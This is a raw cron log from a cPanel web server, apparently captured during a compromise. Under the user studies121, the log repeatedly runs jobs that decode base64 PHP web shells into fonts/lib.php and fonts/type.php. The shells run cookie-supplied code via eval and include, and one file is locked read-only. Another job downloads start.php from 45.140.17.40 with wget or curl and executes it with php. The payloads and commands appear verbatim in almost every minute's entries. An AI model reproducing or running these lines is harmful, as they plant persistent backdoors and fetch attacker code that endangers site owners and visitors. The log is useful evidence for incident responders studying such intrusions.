Sep 21 07:53:01 ip-184-168-122-23 CROND[18497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:53:01 ip-184-168-122-23 CROND[18499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:53:01 ip-184-168-122-23 CROND[18498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:54:01 ip-184-168-122-23 CROND[18622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:54:01 ip-184-168-122-23 CROND[18624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:54:01 ip-184-168-122-23 CROND[18625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:54:01 ip-184-168-122-23 CROND[18623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:54:01 ip-184-168-122-23 CROND[18628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:55:01 ip-184-168-122-23 CROND[18751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:55:01 ip-184-168-122-23 CROND[18753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:55:01 ip-184-168-122-23 CROND[18756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:55:01 ip-184-168-122-23 CROND[18757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:55:01 ip-184-168-122-23 CROND[18758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:55:01 ip-184-168-122-23 CROND[18759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:56:01 ip-184-168-122-23 CROND[18972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:56:01 ip-184-168-122-23 CROND[18974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:56:01 ip-184-168-122-23 CROND[18973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:56:01 ip-184-168-122-23 CROND[18971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:56:01 ip-184-168-122-23 CROND[18975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:57:01 ip-184-168-122-23 CROND[19089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:57:01 ip-184-168-122-23 CROND[19090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:57:01 ip-184-168-122-23 CROND[19093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:57:01 ip-184-168-122-23 CROND[19096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:58:01 ip-184-168-122-23 CROND[19197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:58:01 ip-184-168-122-23 CROND[19198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:58:01 ip-184-168-122-23 CROND[19200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:58:01 ip-184-168-122-23 CROND[19201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:58:01 ip-184-168-122-23 CROND[19202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:59:01 ip-184-168-122-23 CROND[19323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:59:01 ip-184-168-122-23 CROND[19324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:59:01 ip-184-168-122-23 CROND[19325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:59:01 ip-184-168-122-23 CROND[19327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19444]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19445]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:00:01 ip-184-168-122-23 CROND[19449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:00:01 ip-184-168-122-23 CROND[19447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:00:01 ip-184-168-122-23 CROND[19450]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 21 08:01:01 ip-184-168-122-23 CROND[19585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:01:01 ip-184-168-122-23 CROND[19587]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 08:01:01 ip-184-168-122-23 CROND[19590]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 08:01:01 ip-184-168-122-23 CROND[19592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:01:01 ip-184-168-122-23 CROND[19594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:01:01 ip-184-168-122-23 CROND[19593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19587]: starting 0anacron
Sep 21 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19605]: finished 0anacron
Sep 21 08:02:01 ip-184-168-122-23 CROND[19717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:02:01 ip-184-168-122-23 CROND[19720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:02:01 ip-184-168-122-23 CROND[19721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:02:01 ip-184-168-122-23 CROND[19719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:02:01 ip-184-168-122-23 CROND[19722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:03:01 ip-184-168-122-23 CROND[19946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:03:01 ip-184-168-122-23 CROND[19950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:03:01 ip-184-168-122-23 CROND[19948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:03:01 ip-184-168-122-23 CROND[19949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:04:01 ip-184-168-122-23 CROND[20077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:04:01 ip-184-168-122-23 CROND[20080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:04:01 ip-184-168-122-23 CROND[20079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:04:01 ip-184-168-122-23 CROND[20082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:04:01 ip-184-168-122-23 CROND[20081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:05:02 ip-184-168-122-23 CROND[20210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 08:05:02 ip-184-168-122-23 CROND[20208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:05:02 ip-184-168-122-23 CROND[20209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
